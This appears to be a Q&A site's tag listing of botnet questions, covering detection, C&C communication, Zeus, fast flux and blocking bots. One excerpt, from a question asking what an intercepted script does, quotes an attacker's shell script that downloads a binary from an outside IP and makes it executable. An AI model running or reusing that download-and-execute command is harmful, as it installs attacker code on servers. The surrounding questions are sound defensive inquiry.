A botnet is a collection of computers that are under the control of a person or group, usually facilitated by malware. These computers are often used to take part in DDoS attacks and spamming.

learn more… | top users | synonyms

1
vote
2answers
168 views

Attack using weird characters followed by some javascript in a URL?

I'm seeing a very weird attack this morning from a pile of VPS instances spread out across the US. The URLs look like this: /js/bundles/,!0):this.element.propAttr( ...
0
votes
1answer
187 views

Zeus botnet source code

I am doing my project on botnets and wanted to understand the source code of the Zeus botnet. Where is the right place to get started with some analysis of zeus botnet source code? I need a good ...
1
vote
1answer
82 views

running botnet for analysis

I a very curious to understand botnets practically. I want to run a p2p botnet (storm or waledac) for analysis and learning. I have mainly two issues: Where can i get access to binaries of either ...
0
votes
4answers
93 views

how we know whether our computers are part of a botnet? [closed]

When we visit websites, unknowingly our computers can be a victims of a botnet. There should be a way to identify whether we are victims or not. What is the way to identify it and how to recover from ...
0
votes
1answer
79 views

Possible virus hogging bandwidth [duplicate]

My computer might have a virus infection. I have used Norton Internet Security and Power Eraser to scan the computer but it still did not work. The traffic on my PC looks like this I used resource ...
1
vote
1answer
54 views

How Fast Flux technique works exactly?

I was reading about botnets and C&C servers and saw this term. I've read this Wikipedia article but I couldn't really understand what and how this is working. I think its some kind of proxy ...
0
votes
2answers
320 views

Will gmail close my well intentioned botnet account? [closed]

I'm part of a company that has at least 1000 PC's distributed in different buildings over a radius of 25 miles. I've been asked to make a program to survey technical information on each PC. Since ...
13
votes
1answer
317 views

Should a server be considered compromised simply because a port was open?

Earlier today I received a notification of a security incident at Mandrill. At first I was concerned, but then after I dove into the details I became confused as to why they considered this noteworthy ...
0
votes
3answers
2k views

How to detect the so-called “undetectable” Gameover Zeus?

The media are currently (and have been) creating a huge ruckus surrounding the supposedly "undetectable" Gameover Zeus malware. The Daily Mail The Mirror The Independant PC World The Telegraph ...
2
votes
2answers
72 views

Why do researcher need to control all C&C servers of a botnet?

Why do researcher need to control all C&C servers of a botnet? Wouldn't it be easier to spread a deinstall command to all reachable PCs to cripple the botnet? This could be done over and over ...
7
votes
4answers
1k views

How do CC servers communicate to botnet bots in a local network?

A more general question How do bots communicate in the Zeus botnet? doesn't really address my question. I'm trying to understand how a bot can communicate with command and control (CC) machine. On a ...
0
votes
3answers
401 views

How do bots communicate in the zeus botnet?

I read on http://www.abuse.ch/?p=3499 that: ZeuS is now using an “IP list” which contains the IP addresses of other drones participating in the P2P botnet. An initial list of IP addresses is hardcoded ...
0
votes
1answer
152 views

Can a botnet be used to effectively break encryption keys?

Can a botnet amass and coordinate enough computing power to break encryption keys that are typically considered to be secure (through brute force)? If this is the case, do we need to make our ...
8
votes
1answer
253 views

Can/do botnets brute force “high value” users of services like Gmail?

On an intranet a login is generally disabled after a very small number of failed logins. But a public email service like Gmail can't do the same, otherwise pranksters would just be continuously ...
1
vote
2answers
205 views

Botnet callback patterns

I am trying to understand the network behavior of bots. Are there any identifiable characteristics of callback requests from the bot to the C&C server which differentiates it from normal traffic? ...
9
votes
3answers
1k views

Publicly available Botnet Traffic dataset

Is there any publicly data set on botnet traffic for machine learning purposes. i.e traffic set for both bad and good bots
4
votes
2answers
1k views

How do browser injections work?

I've heard many times that malware like Zeus, SpyEye and Citadel are able to do browser injections to steal credit card data. How do they do it? how do browser "injections" work? How are they able to ...
1
vote
2answers
118 views

Limitations of botnets [closed]

My question is very closely related to this question but I didn't find my answer there. Specifically, I'm interested in whether the C2 server can modify aspects/properties of the malware and, if so, ...
0
votes
1answer
130 views

distinguish between bots and legitimate clients [closed]

If an attack (DoS & DDoS) involves thousands of bots, how can the server distinguish them from legitimate clients?
4
votes
3answers
121 views

Specific Dangers in Joining a Linux Botnet?

Between the PHP-as-cgi-bin problem, and shellshock, I've seen 4 or 5 different Perl scripts that, when run, purport to make your machine part of some scary, heinous botnet. What, specifically, would ...
14
votes
7answers
38k views

How do I know if my computer is being used for a botnet-based DDoS attack?

A botnet is a collection of compromised computers, each of which is known as a 'bot', connected to the Internet. When a computer is compromised by an attacker, there is often code within the ...
1
vote
4answers
476 views

Is there any defense against Brute-Force done on a local encrypted file?

Let me start off by saying I don't know very much about encryption, hashing, cracking, etc. I'm just a typical computer enthusiasts, programmer and researcher with many questions. So, I've discovered ...
-5
votes
1answer
124 views

botnets Domain names List [closed]

how I can obtain the latest list of the latest revealed botnets domain list I am looking for the DGA-based botnet in particular I want to collect 1000,000 generated domain list to seed them to my ...
3
votes
2answers
245 views

How to get rid of an Ad bot?

The issue started due to setting up a proxy server on a PC connected to my network. I then realized that all of my devices that connected to the network, including PCs and phones, are all infected by ...
9
votes
3answers
241 views

How to identify and analyze malware that checks for security tools before running?

I've been reading about the ZeroAccess and looking into some bot's code source* and I found this piece of code which checks if filemon is running in the infected computer before running the bot. ...
-3
votes
1answer
91 views

What are the zombie's features under the control of hackers? [closed]

Zombies are used to to trigger denial of service attacks, spamming and so on. I wonder what type of control the miscreants use to control a remote computer using a virus/trojan ?I ask this question in ...
0
votes
1answer
643 views

How do botnets deliver spam? [closed]

I can't seem to find the answer to this question. I read that botnet bots are used as email relays (they have smtp servers installed). Wikipedia on Open mail relay: "(...)Internet initiatives to ...
0
votes
2answers
133 views

Malicious capabilities of Social Botnets

A fairly new concept in Malware, especially in the case of botnets, is the emergence of social botnets. These botnets are comprised of accounts (either a newly created account or an existing hijacked ...
0
votes
1answer
148 views

compromising DVRs to become bitcoin mining bot [duplicate]

I read this article, about an exploit which highjacks a DVR to become a "bitcoin mining bot". The heart of the attack is to send a binary using just echo comands to the device, which acts as a ...
-1
votes
2answers
200 views

I have discovered a botnet during testing [closed]

Whilst testing a server I discovered a botnet. I have the executable downloaded to the server and decompiled the file to get the strings from it. My question is what would the next logical step be ...
1
vote
1answer
97 views

Botnet fingerprinting

Does anyone know of any research of papers on fingerprinting botnets? If a given target is being brute forced or DDoSed do methods exist to determine if a brute force or DDoS on another target are ...
0
votes
0answers
21 views

What are the fields needed to check for SQLI, XSS, XSRF and Remote file inclusion attacks in apache access log file [duplicate]

I need to identify the SQLI, DoS, XSS attacks from log file. At which field these attacks will reflect in log file. Please suggest me some idea and send materials to me.
11
votes
3answers
2k views

What does this sh script does if executed in a production environment

I could intercept what a possible attacker is trying to do on my website and he/she tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod +x ...x ...
6
votes
1answer
419 views

Would using Google reCAPTCHA allow Google to cheat?

Wanting to go a step further into reducing the attacking surface from my "register new user" form I think on using reCAPTCHA (the one Google offers). Having bots sorted out from being able to ...
21
votes
4answers
2k views

What are spambots doing with unintelligible login attempts?

After constantly being under attack in phpBB, I created a new forum by hand, which successfully prevents spam bots from registering, and I get a report for every failed login attempt, telling me the ...
4
votes
3answers
2k views

How to check if URL/ IP belongs to a zeus bot

I have a set of URL's which might be Zeus hosts / C&C servers since my security appliance says so. Is there a way to check if these really belong to Zeus?
0
votes
2answers
782 views

What could be the reason for the high traffic on the local network? [closed]

In our small company we have very high traffic outbound from local network to server which is getting blocked, and slow downs our server respond time. Especially at night. I am not security ...
0
votes
1answer
326 views

Zeus for iOS devices

Is there a known variant of Zeus which attacks iOS based mobile devices? I have read about versions for Android and Symbian , wondering if iOS is vulnerable to it as well.
3
votes
2answers
272 views

BOTs C&C channels

Can someone please explain the C&C for bots ? im reading a paper about Android bot , and its explaining something called URL flux as method of C&C . however i couldn't really get it , so ...
0
votes
1answer
590 views

I got a python script decrypted out of a pcap from a botnet [closed]

I got a python script decrypted out of a pcap file it's communication from a botnet (proberbly the c&c) but when i start the script i ain't getting login or passwords. What does this script do? ...
2
votes
1answer
159 views

After having confirmed a computer is infected by a Botnet.

And having found a server IP that is controlling it. How can I find out the log-in credentials this client uses to log in to a IRC channel / server webpage / control panel. I have found out a python ...
2
votes
1answer
92 views

Risks and prevention methods associated with flagging or downvoting?

Similar to bots posting spam posts and blogs is it possible that bots with legible registered accounts go around the site flagging or downvoting everything on the site. If yes, what can I do to ...
8
votes
4answers
4k views

Block all BotNets and TOR addresses from accessing our site

I've heard that many DOS attacks and general "black hat hacking" attempts occur over the TOR network. Is it possible for me to dynamically block source IP's by their presence in a BotNet or similar ...
2
votes
1answer
117 views

finding bot generated traffic through object requested behavior

I have network traffic details, which consist of client IPs accessing a web server. Alongwith that I have the session ids through which the client IPs access the web server. In the session details I ...
1
vote
4answers
323 views

What can a zombie computer feasibly install and run?

I'm experimenting with a Proof of Work system that tries to force the use of a browser in order to solve the client puzzle. Basically, instead of just handing off the puzzle as hash with a well known ...
2
votes
4answers
1k views

How can I block bots that consistently hit the same URLs?

I am getting slammed hard by bots, and I am not sure how to stop them without blocking my legitimate traffic. I created some iptables rules that say, if X connections in X seconds, block, but that ...
12
votes
5answers
7k views

Why do botnets use IRC but not a web service for communication?

IRC seems still the most prominent way for communication within botnets. Why do attackers choose IRC? In my (very naive) opinion, to set up a web service is far more easier.
2
votes
1answer
1k views

Can you get rid of the ZeroAccess botnet without a complete reinstall? [duplicate]

I'm interested in the recommended course of action for when you find a (Windows) system infected with the ZeroAccess botnet. I've seen various blog posts online recommending that the user download ...
1
vote
1answer
749 views

Orbit Downloader botnet program removal [solved]

Recently (shortly after midnight on 10/8/2013) I installed and ran Orbit Downloader. After learning that the latest version (4.1.1.8) has a botnet-like module included I immediately stopped the ...
0
votes
2answers
529 views

How does the Mega-D BotNet send spam?

I have just been reading an report that analyzed the Mega-D Botnet, but what I haven't fully understood is how they are used to send spam? What email address is the mail sent from? Does each bot ...